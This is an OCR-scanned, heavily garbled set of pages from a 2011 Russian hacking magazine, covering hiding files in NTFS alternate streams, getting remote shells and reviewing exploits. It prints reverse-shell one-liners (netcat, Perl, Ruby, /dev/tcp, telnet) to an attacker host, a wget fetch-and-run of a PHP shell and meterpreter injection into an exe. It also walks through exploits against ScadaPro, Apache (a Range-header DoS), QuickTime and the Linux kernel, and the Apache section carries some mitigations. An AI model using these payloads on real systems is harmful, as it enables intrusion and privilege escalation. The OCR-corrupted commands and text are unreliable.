
llo<?Г-

'j•I1J•

<?,,;1•!_•-•EТicm•ll'

'· f10111

1с•.:.

рогt

::·:.29

Н а ш к од в логах

СПРЯТАТЬ (И НЕ ТОЛЬКО) ФАЙЛЫ В NTFS

ем.ьйr.w r .... -

РЕШЕНИЕ П ростейший сnособ с n рята ть какую-то информа ц ию в

.1111

NTFS- по­

ADSI. Трюк стар как сам мир: ему уже более 15 ле т. Те бородатые дядьки, кто программирова л в те г о д ы. подтвердя т , что эта возмож­

ность была добавлена в файловую систему для совместимости с системой яблочников. Сейчас альтернативные nотоки создаются редко. Кратко nро­

бегусь по основным тонкостям и nримерам исnользования скрытых nотоков. Во-nервых, когда создается файл в системе , данные заnи­

сываются в стандартный nоток $DATA . Любой, даже <<бесnравный»,

Админипратор: C :\Wi пdows\ System32\cmd . exe -

ложить ее в альтернат и в н ый nоток [A iternative Data Stre am, да л ее 1

1

C:'-ATI>eclю

":;one :;ect•et:;" > te:;t . txt:aaaa.txt

1

C : '-ATI>nore < te:;t . txt:aaaa.txt 11 Sone secl'ets 1 '

~ aaaa .txt - M icrosoft W ord

1 ~айл

.Qрав ка

~ид

Вп~в ка

Фор_мат

С~рвис

!абли ца

nользователь может создавать дополнительные nотоки к файлам , nричем даже к тем, к которым у него n рав, п о сути, нет. Во-в т орых, и н форма ц ию в n отоках мож н о н е только храни т ь, но и за n ускать.

Д а л ее, n отоки можно соз д ава т ь как к фай л ам, так и к ката л огам

[ хотя из n осле дн их за n устить ф айл н е по л учится ! . В - ч е т верт ы х,

J•I·1·2·J·З·

"зоmе

I

·4·

J

·S·

J

·6•

J

·7·

1

·8·

1

·'3·

зе сr е tз"

размер настоя щ его фай л а н е мен я ется, а прово д ник н е отобра ­ жает доnолнительных потоков. В-nятых, nри n ересылке файло в , наnример, по почте или на флешку, коnируется только стандартный

nоток. То есть мы имеем достаточно лай т овый сnособ для сокрытия инфы, наnример, на работе. Малварь этим способом тоже nользует­ ся, но для антивирусов

Читае м дополнитель н ые потоки, используя ссьrлки

ADS давно не nроблема . Теnерь nрактиче­

ские при меры.

Записываем текст в дополнительный поток

- secrets.txt ec ho "some secret s" > t est . t xt :secret s. t xt

Читаем т екст из потока secrets . txt more < test.txt: secrets.txt notepad.exe test.txt :secrets.txt

ХАКЕР

11/154/ 2011


EASY НАСК

Записываем исполняемый файл в поток

dir /R

type C:\windows\system32\ca1c.exe > test.txt:ca1c.exe Кстати , еще одна интересная фича для обычной жизни. Всем из­ Запускаем файл из потока

(нужно указывать полный путь)

start c:\test.txt:ca1c.exe wmic process call create \\.\c:\test.t xt :c a1c .exe

вестно, что в *nix'ax [UFSI есть жесткие ссылки [haгdlinkl на файлы, то есть файл у нас фактически один, а ссылок на него- много .

При чем раскиданы они могут быть по всей системе. Так вот в

NTFS такая Так как не все nрограммы nоддерживают доnолнительные потоки,

возможность тоже есть, но n очему-то она <<забы л ась»

и особо не исnользуется . Единственное ограничение для

NTFS-

может возникнуть nроблема с их открытием. Но она решается за счет

жесткие ссылки могут быть только на одном логическом диске. В ХР

создания символических линков с nомощью

это делается так:

mklink.

fsutil hard1ink create

mk1ink 1ink_fi1e .txt test.txt:secrets.txt Раньше встроенных сnособов для nросмотра nотоков в винде не

новая_ссылка исходный_файл

Начиная с Vista, это делается утилитой mklink с аргументом '/h ':

было -теnерь же для этого можно восnользоваться стандартной

командой для листинга директорий с аргументом /R:

mk1ink /h

новая_ссылка исходный_файл

ПОЛУЧИТЬ ШЕЛЛ СТАНДАРТНЫМИ СРЕДСТВАМИ

lf.•Jif.litfl --JЪJ

РЕШЕНИЕ Пару номеров назад мы исследовали всякие ниндзя-трюки в кон­

Кроме того, с nомощью любых скриnтовых языков [регl, awk, shell и т. д . l без каких-либо проблем реализуется шелл/реверс­

соли

ш елл.

Wind ows . Было

бы неnравильно оставить без внимания *пiх­

системы. В н иксах по сравнению с

Windows

стандартных возмож­

ностей nруд nруди- через консоль возможно nрактически все. Мы ж е традиционно коснемся асnекта nолучения удаленного шелла.

Это часто бывает необходимо, наnример, для развития атаки через какую-то уязвимость на сервере, позволяющую n росто выnолнять

Реверс-шелл на

Ruby: ruby -rsocket -е 'exit if fork;c=TCP5ocket.new("192.168.e.l", "5555");whi1e(cmd=c.gets);IO.popen(cmd,"r"){liolc.print io . read}end'

команды. Посуди сам: n олноцен ны й ш еллвсе гд а гораздо удобнее, чем любой другой костыльный вариант для выnолнения команд. Ниже я быстро пробегусь и nриведу основные наnравления nолуче­ ния шелла. Для nримера назначим хостом атакующего

192.168.0.1.

Начнем с самого nростого: Бинд-порта

nc -1

у жертвы с

-р веве -е

Реверс - шелл.

nc -1

редиректом

в шелл

Чтобы не заморачиваться с набором кода в консоли и nри э т ом

'/ bin / bash'

Открываем

порт у

получить хороший ш елл, можно загрузить заготовку через

атакующего

5555

Реверс-шелл.

Perl : perl -е 'use Socket;$i="192.168.e.l";$p=5555;socket{S, PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S, sockaddr_in($p,inet_aton($i)))){open{STDIN,">&S");open( STDOUT,">&S");open{STDERR,">&5");exec{"/bin/bash -i");};'

То же самое на

wget,

от­

правив ее на исnолнение интерnретатору .

Открываем порт

nc 192.168.e.l 5555

Если nараметр «-е>> в

у жертвы

wget -0 /tmp/shel l .php http://192.168.e.l/good_php_shell. t xt && php -f / tmp/s hell.php

'/ bin / ba sh'

netcat

недостуnен, можно восnользоваться

nеренаnравлением ввода-вывода через

П оследний вариант, который я мо г у nредложить,- реверс-шелл

FIFO :

через Xteгm. Подключение будет nроисходить на

6001

nорт:

Реверс-шелл без -е

mknod Ьр R; nc 192 .168.e. l 5555 е<Ьр l _! biл/bash l >bp Если

netcat

У атакующего

Xnest:l xhost +iр_жертвы

недостуnен совсем, то:

У жервы

Реверс-шелл без

netcat /bin/bash -i > Jdev/tcp/ 192 . 168 .e.1}5555 > e<&l 2>&1

Как можно видеть, возможностей для nолучения шелла масса

2-й вариант через telпet

mknod Ьр р ; te1net 192.168 .e.l 5555 е<Ьр

xterm -disp1ay 192 . 168.e.l : l

1

:1.

/bin/bas h l >bp

ВНЕДРИТЬ БОЕВУЮ НАГРУЗКУ В ЛЮБОЙ ЕХЕ-ФАЙЛ Не так давно у

msfencode

n оявилась возможность внедрять

./msfpayload windows/meterpreter/reverse_tcp LPORT=5555 R 1 .jmsfencode -а хВб -t ехе - х cmd.exe -k

nэйлоады вехе-файлы без nотери функцианала nоследних. Это отличается от того, что было ранее . Тогда от ехе - файла оставались,

Здесь:

по сути , только ресурсы [иконка, оnисание] и исходный размер, но

-х -указание на исnользование стороннего темnлэйта[ехе];

исполнялся только nэйлоад. Теnерь же nэйлоад может исnолняться

-k- заnуск

nар.аллельно в другом n отоке nроцесса.

Все просто и не особо заметно:]

ХАКЕР

11/154/2011

nэйлоада в отдельном nотоке.


Павел Александрович livinside.Ыogspot.coml

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

Дмитрий Михайлович

1115612, дер .

Красная звездочка, д.11

ЭКСПЛОИli Каждая найденная уязвимость и каждый написанный для нее эксплоит все ближе и ближе подводят нас к пониманию природы ПО, мотивируя к совершенствованию кода. Не будем отступать от этого увлекательнейшего процесса и рассмотрим по этому случаю несколько новых экземпляров из области эксплоитостроения.

1

Множественные уязвимости в MeasuresoftScadaPro

пределы корневой директории. И все эти уязвимости были найдены

только при тестировании команд одной из кате г орий. Возможность

~5

CVSSV2

111111 11 1111 1111 1111

атак ти п а переполнения буфера существует, скорее всего, во всех командах из-за использования функций

sscanf и stгcpy :

111 11 [AV:N/AC:L/AU:N/C:P/I:P/A:P]

[]1Ш

!3!34!3AII09

Последнее время в кругах информационной безопасности стало

!3!34!3A!3DD !3!34!3A!3DE

модно обсуждать баги в различ ны х SСАОА-сис т емах, вот и мы ре­

!3!34!3А!3Е3

шили не отставать от трендав и поведать о том, насколько дырявы

!3!34!3А!3Е4

LEA EDX,DWORD PTR SS:[ESP+ 38 ] PUSH EDX PUSH service. !3!3б7D484 "%s " PUSH EDI CALL service. !3!34192FB sscanf

они порой бывают. П озволю себе привести выдержку из Википе­

дии, дабы у всех уже, наконец, отпали вопросы о том, что же такое

SCADA . SCADA- это программный пак ет, предназначенный для разработки или обеспечения работы в реальном времени сис т ем

!3!34!3А114

сбора, обработки, отображения и архивирования информации об

!3!34!3А118

объекте мониторинга или управле ния . Короче говоря, зто автома­

!3!34!3А11А

тизированная система, которая, как правило, у правля ет или по­

!3!34!3А11С

могает управлять какими - то сложными системами и процессамина

!3!34!3А12!3

nроизводстве и сложных технических объектах. Подобные задачи

!3!34!3А122

решает и nродукт ScadaPгo от компании Measuгesoft. Ш аловливые

!3!34!3А125

ручки хакеровдобралисьи до него и обнаружили там просто тонны

!3!34!3А128

разных уязвимостей!

!3!34!3А12А

IJ34!•Jii

LEA EDX, DWORD PTR SS:[ESP+2!3 ] MOV EAX, EDI SUB EDX, EDI LEA ESP,DWORD PTR SS:[ESP] MOV CL,BYTE PTR DS :[ EAX] MOV ВУТЕ PTR DS : [EDX+EAX],CL ADD ЕАХ, 1 TEST CL,CL JNZ SHORT serv ice. !3!34!3A12!3

Эксплоит д оступен по ссылке: alu i gi.oгg/poc/scadapгo 1.zip. В

В рассматриваемой системе при сутствует сервис под н езамысло­

архиве лежат примеры коман д для передачи серверу, с п омощью

ватым н азванием seгvice.exe, слушающий порт п о д ном ером 11 234.

которых достигается эксплуатирование описанных ранее ба го в:

Этому сервису можно передавать некоторые кома нды , разделенные на груnпы. Группу определяет второй переданный бай т, а п ервый

nc SERVER 11234 < sca dapro_1b .dat

обозначает саму команду. В nроцессе тес ти рования этих команд

; прочитать c :\boot.ini nc SERVER 11234 < scadapro_1c.dat

исследователь под ником aluigi нашел столько различных уязвима­ стей, что даже не протестировал их все. В основ н ом э т о были уязви­ мости типа переполнения буфера, исполнения кода и выхода за

050

; создать c :\evil_file.t xt nc SERVER 11234 < scadapro_1d . dat

ХАКЕР

11 /154/ 2011


ОБЗОР ЭКСПЛОИТОВ

Accept-Eпcodiпg: Соппесtiоп:

gzip

close

Обрати внимание на используемый здесь заголовок Raпge. В нем указываются перекрывающиеся диапазоны байтов, из которых в итоге соберется контент. В сочетании с используемым gziр-сжатием

IAccept-Eпcodiпg: gzip] на операцию сборки затрачивается слишком много памяти. Например , если в заголовке Raпge передана тысяча диапазонов, то

Apache пытается отдельно сжать каждый диапазон,

выделяя для каждой операции избыточный по размеру буфер. Спустя некоторое время было так же обнаружено, что такой же уязвимости

подвержен устарев ший заголовок Request-Raпge, поддержка кото­ рого оставлена для обеспечения совместимости с

Netscape Navigatoг

2-3 и MSIE 3. По умолчанию эксплоит делает запросы к корневой странице

сайта, и позтому может работать не везде. Но это легко изменить :

нужно лишь исправить значение переменной $р, в которой содер­

«HEAD 1 << HEAD /robots.txt НТТР/ 1.1 >> или на другой заведомо существующий URL.

жатся заголовки будущего запроса, например, изменить НТТР/ 1.1 >> на

Если ты являешься счастливым обладателем сервера с

Текст ф ункции и з оригинального сnлоита, убивающего Apache

Арасhе ' ем , то рекомендую проверить его на наличие зтой баги и при­ нять меры. Провериться можно такой командой: удалить

;

c :\valid_file.t xt SERVER 11234 < scadapro_1e.dat

пс

$ curl -I

запустить пotepad

удаления/запуска файлов.

1

" Raпge: bytes=0-1,0-2" -s www.example.com/ grep Partial

Если в ответ на этот запрос приходит

Спустя несколько дней после релиза РоС появился соответствую­

щий модуль Metasploit, который автоматизирует процессы создания /

<<206 Paгtial Сопtепt>>, то

тебе не повезло и твой сервер рано или поздно попадет под раздачу. Кроме обновления веб-сервера до версии, где эта ба га исправле н а,

существует несколько способов защититься. Расскажу пр о них в со­

.,.,,Jdjfi Measuгesoft ScadaPгo

robots.txt

ответствующем разделе.

<= 4.0.0

if.)ь11Jfi

fi•J!Iij[•J:I

Веб-сервер

Обновления от разработчиков пока не последовало .

ДО

Apache версий 1.3.х, 2.0 . х в п лоть до 2.0 .64 и 2.2 . х вплоть

2.2.19.

fi•J!Iiit•J:I Удаленный отказ в обслуживании веб-сервера Apache

2

Если у тебя на сервере используется пgiпх, то можно запретить ему проксировать опасные заголовки с помощью таких директив:

~8

CVSSV2

111111 11 11 111 111111

1111

proxy_set_hea der proxy_set_header

Raпge

"" ;

Request-Raпge

IAV:N/AC:L/AU:N/C:N/I:N/A:C]

llil1Ш

Для самого

В конце августа в рассылке

Full Disclosuгe появился занятный

скрипт, который начисто кладет практически все веб-серверы

Apache,

вплоть до новейших 2.2.х. Это достигается отправкой

Apache

"" ·

'

можно принудительна очищать заголовок

Raпge при помощи mod_headeг (<<RequestHeadeг uпset Raпge>> и <<RequestHeadeг uпset Request-Raпge >>) или блокировать длинные последовательности Raпge через mod_гewгite:

множества специально сформированных запросов, обрабатывая

1

которые, сервер бодро съедает всю доступную память, не давая при

Вариант

зтом нормально функционировать ни себе, ни другим сервисам в

RewriteEпgi п e Оп

системе .

Rew rit eCo пd %{ HTTP :Ra пge}

Использова ть его достаточно просто:

bytes=0-[0-9]+, [NC,OR] bytes=([0-9-] ,){4,} [NC,OR] RewriteCoпd % {HTTP : Raпge} bytes=[0-9,-]+,0-(, l$) [NC] RewriteRule .? http ://% {SERVER_NAМE} / [NS, L,F]

$ perl ki l lapac he.pl www.example.com 50

Вариант

IJ:J4!•Jii Ориги н альный код скрипта можно забрать по ссылке goo.gi!DK1gA.

RewriteCoпd % {HTTP:Raпge}

2

RewriteEпgiпe Оп

Параметр номер раз - атакуемый хает, параметр номер два­

RewriteCoпd %{ REQUEST_METHOD} л( HEADIGET)

количество потоков, через которые будут долбиться запросы. Сами

RewriteCoпd %{HTTP : Raпge}

же запросы выглядят следую щим образом :

[0-9] *)+ RewriteRule

HEAD / НТТР / 1.1 Host: www.example.com Raпge: bytes=0-,5-0,5-1,5-2,5-3,5-4,< ... >,5- 1299,5-1300

ХАКЕР

11 / 154/2011

Вариант

• -

[NC] ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-

[F]

З

RewriteEпgiпe Оп

051


ВЭЛОМ/ОБЗ ОРЭ КС ПЛ ОИ ТОВ

:~

1=11@11~1

Trends - [demotrend]

~ File

Edit

View

Рап

Zoom

Window

] D~ rill ~ 1~ ~ l lir 0

...

] +-

Logger Name : LOGGER 1 PRDDUCT : 35 SHIFT : 52 ВАТСН NUMBER : 22

1+ ~ 'Х 1J1o 1%ь 6 1:~ ~ fiiJ 'fl ~? IQ e1 l-t .J. :l r+-+4+- 1+-~~1

File Name : 1 00831 143015.odl

-0.99

1

1

_,J

v

1 1.50

1 1

,/1

~

/ ~ ~ nr-t!-.

//

/ _/

;У ~

р

1

,л /

} rJ

У/

Slop Time : 31/08/201014:58:15

11

5.50

/ /

1\._

Slarl Time : 31/081201014:30:15

~

1 1

,f

1

.... о

31/08/201 о 14:30:55.752

1

GJ0~

·-

А Н~

.J. 1. -t '"f +-< ~-+

-+!~

Help

v

1

,_

о:о~=

/

1\

n ">n

/1 / f

,__/

-0.40= -0.80 nn

~

n

.n.cn:"

i/

_1 14:30:40

г

1 J "'\/

9.00

/

,-J / ~

nnn

7.00 с-

/

nn

5.00

~

nn

if

3:оо г

'>nn

/

1.00 n n.

_1 14:30:50

~

gs

_1 14:31 :00

о

(

Color

g

~

IChannel

1D escriplion

ITaq SineWave 0-10 0-6

~С2

~с3 ~С4

~ Q2

IUnils

.... Zero to Т en Counter Zero to Six Counter

---

@)

---

....

---

For Help, press F1 О д но и з о к он интер фе й с а ScadaPro

RewriteCond %{HTTP:Range} bytes;e-. * [NC] Rewrit eRule .? http://%{SERVER_NAМE} / [R;Зe2,L]

значение позже используется в качестве аргумента для функции, которая копирует данные из файла в стек . В результате прои с ­

ходит переполнение буфера на стеке, которое позволяет осуще­ Но лучше вс его, конечно же, обновиться до версии

Apache 2.2.20.

ствить выполнение произвольнаго кода в контексте тек у щего пользователя.

3

Apple QuickTime PICT PnSize Buffer Overflow

РIСТ -файл начинается заголовком в

байт, за которыми

512

с лед уе т изображение. В этом файле содержатся структуры данны х

CVSSV2

9.3

1111 11 111 11 111 1111

111

QuickDгaw/Color QuickDraw. QuiсkDгаw-изображение со держит заголовок фиксированной длины, за которыми следуют данные

переменнаго размера, описывающие изображение.

[AV:N/AC:M/AU:N/C :C/I:C/A:C] I]IШ Дата релиза:

8 августа 2011

picSize : picFrame :

года

INTEGER; RECT;

Автор: МС, corelancOdЗr По сле этих полей располагается переменное количество дан ­

CVE: CVE-2011-0257

ных, со д ержа щи х оп коды. П осле дние описывают команды ри со­

QuickTime-

проприетарная технология компании

работа н ная еще в

1991

Apple,

раз­

го д у д ля вос п роизведения цифрового видео,

вания и пара метры, которые влияют на пол учае мое изображение . 1-м оп кодом в любом изображении должен идти оп код версии, за

звука, текста, а н имации, музыки и панорамных изображений в

которым с ледует вер сия изображения . 1-й опкод представляет

различных форматах .

собой 2-байтный оп код версии [О х 0011] . Далее следуют 2-байтная

QuickTime Player

в свою очередь- зто бес­

платный мультимедийный плеер, который активно используется

версия изображения [Ox02ffi.

для просмотра множества различных типов файлов, включая файлы

Заголовок изображения [фиксированный размер в 30 байт]:

видео , аудио, изображений, графики и фильмов виртуальной реаль­

ности [VR]. $ее11

lj:4Q!•]ij Описываемая уязвимость существ уе т в обработке оп кода

$e2FF PnSize

РIСТ-файла. Обработчик преобразует 16-битное беззнаковое

$есее

24

байта

WORD WORD woRD

{опкод верси и}

{версия изображения} {зарезервированный опкод заголовка} {зарезервировано}

значение в 32-битное значение со знаком . Это скопированное

052

ХАК Е Р

11/154/2011


ОБЗОР ЭКСПЛОИТОВ

67202С60 67202С61 67202С68

-

67202С69

67202С6С 67202С60

67202С6Е

67202С7С 67202С70 67202С7Е

67202C7F

67202С80 67202С81

67202С85 67202С8В 67202С8С 67202С92

67202С93

> 58 > 888С24

5F 0FBFC6

00000000

67202С75

0804001

7С90328С

Qu ickT_1.67202C75 n t d 11 • 7С90328С

00000000 0013B4FC

0013804С

50

00000000 00000000

ззсс ЕВ 278671FF

81С4 О0е40000

EIP

се

С е Р 1

сз

се се

R е Z е S 0

се

53

885С24 08 8883 82000000 56 8083 В20000е0 57

Т е

о

нu•' ~н ~ , uw•onu

0

67202С78

Qu ickT_1. 672e2C78 ES 0023 32Ьi t 0( FFFFFFFFJ CS 0018 32Ьit 0CFFFFFFFFJ SS 0023 32Ьi t 0( FFFFFFFF J OS е023 32Ьi t ее FFFFFFFFJ FS 0еЭ8 32Ьi t 7FFOOe00( FFFJ GS ее00 NULL

О 0 LastErr ERROR...SUCCESS ( 00e000e0J EFL eseee2e6 CNO,N8,NE,R,NS,PE,GE,GJ ST0 емрtу 1. 09е7058365694897е00е-311 SТ! емрtу 1. 9322735276719957000е+171 ST2 емрt у -860. 75098630785942000

PTR OS: CE8X+82J

ЗЗFF

SТЗ емрtу ST4 емрtу

2.6214153169254062000е - 315

SТ7 емрtу

1. 2519775166695107000е - 312

-1. 2946211199493547000е+173 ST5 eropty -6. 8056473384187693000е+038 ST6 емрtу 9. 25е0000000072760000

0013850С

00138510 00138514 00138518 0013851С

00138520 00138524 00138528 0013852С

00138530 00138534 00138538 0013853С

00138540 00138544 00138548 0013854С

00138550 00138554 00138558 0013855С

00138560 00138564 00138568

0013856С е0138570

00138574 00138578 0013857С

00138580

66С78001 67Е88573

67208003 00000001

о. о о 6783ЕЕ02 еюГ9 о~- о 67Е21084 Д~т9 00000040 @.о о

00001000

RETURN to Qu ickT_8 . 6783EE02

froм

Qu ickT_8. 67842R80

Qu ickT_O . 67Е21084

6762R008 Dabg Qu ickT_J. 6762R008 66R78005 ~R зf Qu ickT_1. 66R78005 685R9802 eWZh Qu ickT_4.685R9802 90909090 рррр ~~§~~~~~ ~-~~ Qu ickT_9.682F0001 FFF8E805 ~ w• 4949FFFF 11 49494949 1111 49494949 1111 565R5149 IQZU 30335854 т хз0 41345856 VX4R 33413050 P0R3 41304848 HH0R 42413030 00RB 54424141 RR8T 32514141 RRQ2 42324241 RB28 42423042 8088 41385058 XPSR 494R4R43 CJJI

Передача управления на RОР-цепочку в обработчике исключения

Данные определяющие изображение lп еременного размера]:

ства будет п ерезаписана нашим значением Ox13BDF8, то мы попадем прямиком на этот адрес. Именно с него и начнет свое исполнение

RОР-цепочка, отвечающая за обход DEP и передачу управления на

{команда рисова н ия}

opcode data . opcode data •

WORD WORD

{командg_ рисования}

$00FF

WORD

{о п код ко н ца изображе н ия}

полезную нагрузку.

Трасса исполнения RОР-цепочки:

Выдержка из таблицы опкодов:

$0006

SpExtra

space extra (fixed poiпt)

$00Ю

PпSize

реп size (poiпt)

4 4

$0008

РпМоdе

реп mode (word)

2

67202(75

ADD ESP, 4D0

67202С7В

RETN

67Е21084

РОР

67Е21085

RETN

ЕСХ

68994002 68994004

MOV EAX,DWORD PTR DS:[ECX] RETN

6696СА36

6696СА37

XCHG EAX,ESI RETN

66(78001 66(78002

RETN

67208003 67208004

RETN

------

Среди перечисленных в данн ой таблиц е оп кодов содержится и опкод PпSize, в обработке которого кроется ошибка, приводящая к уязвимос ти.

Код,

производящий запись на

6691CCD8 6691CCDA

стек

JB SHORT QuickT_1.6691CD04 REP MOVS DWORD PTR ES: [EDI], DWORD PTR DS > JMP DWORD PTR DS:[EDX* 4+6691CDF4]

РОР

РОР

6783ЕЕ02

РОР

678ЗЕЕ0З

RETN

По сле п шаг ов выполнения кода в edi окажется значение, приво­

67Е21084

РОР

дящее к access violat ioп. Но так как SЕН-цепочка в хо де э того безум-

67Е21085

RETN

6691CCDC

ХАКЕР

11/154/2011

ЕВР

ЕВХ

EDX

ЕСХ

053


ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

РОР

б762дее9

RETN

685А9882

РОР

685А9883

RETN PUSHAD RETN RETN

б82Feeel бВ2Fееы ббд7вее5

msf exploit(apple_quicktime_pnsize) > set CMD calc.exe CMD => calc.exe msf exploit(apple_quicktime_pnsize) > show options Module options (e xploit / windows / fileform at / apple_quick time_pnsize): Name Current Setting Required Description

EDI

ыыдеев

ЕАХ

FILENAME

Д альше n ры г аем н а н ачал о n о л езной н а г рузки, р аспол агаю щ ейс я

msf . mov

The

по

Payload options (windows / exec): Name Current Setting Required

Ые

name .

Description

н а с т еке !уже имею щ ем ф л а г ис п о л нен и я):

8813853( 88138548 88138544 88138548

CMD • calc.exe • yes • The command string to execute EXITFUNC • process• yes• Exit technique: seh, thread, process, nопе

CALL ESP

67Е88573

98989898

~~~~

Е8598ЗЕ8

л Ул

FFFBE885 4949FFFF

ишя

Exploit target: Id Name

яяП

е

И н а п ос л е д ок соз дадим в а р иа ц ию о nи с ыв ае м о г о зкс nл ои т а с к л асси ч еской п олезной на г р узкой в в и д е за п ускающе г ос я к аль куля­ т ора в

metasploit:

83Е2 03 83F9 08 72 2R F3:R5 FF2495 ~ 90

6691CCF0 6691CCF3 6691CCF5 6691CCFC 6691СО03 6691С004 6691С008 6691СО0С 6691СО10 6691СО14 6691СО18

6691C01R

6691СО1С 6691СО1Е 6691СО21 6691СО24 6691СО27

6691C02R 6691СО20 6691СО30 6691СО33 6691СО36 6691СО38

6691C03R 6691СО41 6691СО44 6691СО46 6691СО48

6691C04R 6691С040

> 8 ВС7

BR 03000000 83Е9 04 72 0С 83Е0 03 03С8

> > .

FF2485 FF2480 90 FF2480 90

~ ~ ~

18СО9166 44СО9166 68СО91бб

> 2301

8R06 8807 8R46 01 8847 01 8R46 02 С1Е9 02 8847 02 83С6 03 83С7 03 • 83F9 08 ,л72 СС

ХР SРЗ

with DEP bypass

exploit(apple_quicktime_pnsize) > exploit

[ * ] Generated output file / home / lalala / .msf4/ data / ex-

ploits / msf.mov

msf > use exploit/ windows / fileformat / apple_quicktime_pns ize msf exploit(apple_quicktime_pnsize) > set payload windows /exec payload => windows / exec

6691ССЕ6 6691ССЕВ 6691ССЕЕ

msf

Windows

F3:R5 FF2495 ~ 8049 00 > 2301 8R06 8807 8R46 01 С1Е9 02 7 01

if.);Jdjfi Ap ple Qui ckTime

Р lауег

7.60.92. 0

~1·1!1iji•BI Су щ ест в ую т обновл е ния , ус тр а няющи е д а нн у ю у я з вимость

RNO

ЕОХ, 3 СМР ЕСХ, 8

SHORT QuickT_1.6691C004 REP MOVS OWORO PTR ES:CEOIJ , OWORO PTR OS:CESIJ OWORO PTR OS:CEOX•4+6691COF4J NOP MOV ERX,EOI MOV ЕОХ, 3 SUB ЕСХ, 4 SHORT Qu ickT_1. 6691CCFC RNO ERX, 3 ROO ECX,ERX OWORO PTR OS:CERX•4+6691C008J Jr OWORO PTR OS:CECX•4+6691CE04J NOP 1 OWORO PTR OS:CECX•4+6691C088J 08 90 00 QuickT_1.6691C018 00 QuickT_1.6691C044 00 QuickT_1.6691C068 RNO ЕОХ,ЕСХ MOV RL, BYTE PTR OS:CESIJ MOV ВУТЕ PTR OS:CEOIJ ,RL MOV RL, BYTE PTR OS:[ESI+1J MOV ВУТЕ PTR OS:CEOI+1J ,RL MOV RL, BYTE PTR OS:CESI+2] SHR ЕСХ, 2 MOV ВУТЕ PTR OS:CEOI+2J ,RL ROO ESI, 3 ROO EOI, 3 J

Switch

t аЫе

(1-based) used a t

SEH chain of main tbread SE hand Ler QuickT_1.67202C75 4R434C46 *** CORRUPT ENTRY 001ЗВОF8

***

СМР ЕСХ, 8

SHORT QuickT_1.6691C004 REP MOVS OWORO PTR ES:[EOIJ , OWORO PTR OS:CESIJ Jt OWORO PTR OS:CEOX•4+6691COF4J LER ECX,OWORO PTR OS:CECXJ RNO ЕОХ,ЕСХ MOV RL, BYTE PTR OS:CESIJ MOV ВУТЕ PTR OS:CEOIJ ,RL MOV RL, BYTE PTR OS:CESI+1] SHR ЕСХ, 2 ВУТЕ PTR OS:[EOI+1J ,RL J

SЕН-цепочка перезаписана нашим обработчиком

051,

ХАКЕР

11/154/2011


ОБЗОР ЭКСПЛОИТОВ

Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit

'

лучать nотенциально важную информацию из стекавой nамяти ядра.

CVSSV2 1111 11111 111 11 11111

6.2 111 1 [AV: L/АС: Н / AU : N/C : С/1 :С/А : С)

r!ШШ

Дата релиза: Автор:

Jon

5 сентября 2011 CVE: CVE-2010-4073

Obeгheide,

lj:JQ!•Jii Экnлоит интересен тем, что в своей реализации исnользует сразу три

уязвимости с конечной целью nоднятия nривилегий на локальной машине. Гл авной уязвимостью является переполнение стека ядра, а не nереnолнение буфера на с теке , что оnисывается в соответств ую ­ щем

CVE.

Приведем оnисания уnомянутых исnользуемых СVЕ-шек:

[ii:OЧ•"•fl:й:l Переnолн ение буфера на стеке в функции

гающейся в

net/econet/af_econet.c

econet скофигурирован,

в ядрах

econet_sendmsg, расnола­ Linu x < 2.6.36.2. Когда адрес

локальные nоль зовате ли имеют возможность

nовысить nривилегии, nредоставляя большое число iоvес-структур.

lj9Jфil•fl:fial Функция

ec_dev_ioctl

в

net/econet/af_econet.c

в ядрах

Linux

<

2.6.36.2

не требует наличия САР_N ET_ADMIN, что дает возможность локаль­

Пример исnользования эксnлоита:

$ gcc 17787.с -о expl -lrt $ ./expl [+] looking for symbols ... [+] resolved symbol commit_creds to exffffffff81088ade [+] resolved symbol prepare_kernel_cred to exffffffff81088ebe [+] resolved symbol ia32_sysret to exffffffff81046692 [+] spawning children to achieve adjacent kstacks .. . [+] found parent kstack at exffffвseelcбcaeee [+] found adjacent children kstacks at exffff88eeedleaeee and exffffвseeedleceee [+] lower child spawning а helper ... [+] lower child calling compat_sys_wait4 оп helper ... [+] helper going to sleep ... [+] upper child trtggering stack overfiow ... [+] helper woke up [+] lower child returned from compat_sys_wait4 [+] parent's restart_Ыock has been clobbered [+] escalating privileges ... [+] launching root shell! # id uid;e(root) gid;e(root)

ным nользователям обходить встроенные ограниче ния достуnа и конфигурировать адреса

econet

через iосtl-вызов

SIOCSIFADDR.

it.);ldjfi Linux Kernel

lii:OФII•IФWCI Подсистема

ipc

в ядрах

Li nux <

2.6.37-гс1 не инициализирует некото­

рые структуры, что дает возможность локальным nользователям по-

(game}land

<

2.6.36.2

,_i,J!Iiii•J:I Существуют обновления, устра няющи е данную уязвимос ть. :Х:


РгОхог

[php.m4sq10gmail .co m, rdot.org/ forum )

Бэкдор ~ПРОТРОЯНИВАНИЕ MYSQL С ПОМОЩЬЮ ХРАНИМЫХ ФУНКЦИИ,ПРОЦЕДУР И ТРИГГЕРОВ ХРАНИМЫЕ ПРОЦЕДУРЫ И ТРИГГЕРЫ • ЫЦу/рuд2КI ­ исходники ядовитой UDF-функции для

MySQL4. • ЫЦу/гh[SуМ ­

MySQL 5 появилось

несколько

существенных нововведений:

функций и триггеров. Они успешно позволяют перенести

на сторону БД некоторую часть

разных языках программирования . Хранимые процедуры существенно

исходников.

помогают повысить эффективность работы приложения. Они компилиру­

отключение файрвала Аррдгmог.

важный список ограничений для

• blt.ly/4cvanW -

nроцедур.

• bjt.Jy/cT657 -

и в более интересных целях­ протроянивании базы данных.

056

ются- и позтому исполняется быстрее интерпретируемого SQL-зaпpoca. При их использовании существенно снижается объем пересылаемой

между сервером и клиентом информации. Правда, нужно учитывать, что нагрузка на СУБД при зто м непременно увеличивается . Оно и понятно: на

стороне клиента lприложения) выполняется меньшая часть работы, а на

установка и начало

стороне сервера- большая. Помимо непосредственно самих хранимых

.работы с

процедур большинство СУБД поддерживают их разновидность- триг­

nосвященная триггерам.

определенных событий, например, при выполнении операций

MySQL Ргоху • bjt.ly/o2PfjD -тема на форуме RDot,

геры . Они автоматически выполняются при наступлении в базе данных

INSERT, UPDATE и DELETE. Сегодня мы посмотрим, что использовать их можно не

только для непосредственно реализации функцианала приложения , но

самым крайне упрощая бизнес­

возможности можно использовать

раз одни и те же действия с БД, а просто вызывать соответствующую

UDF-функции из

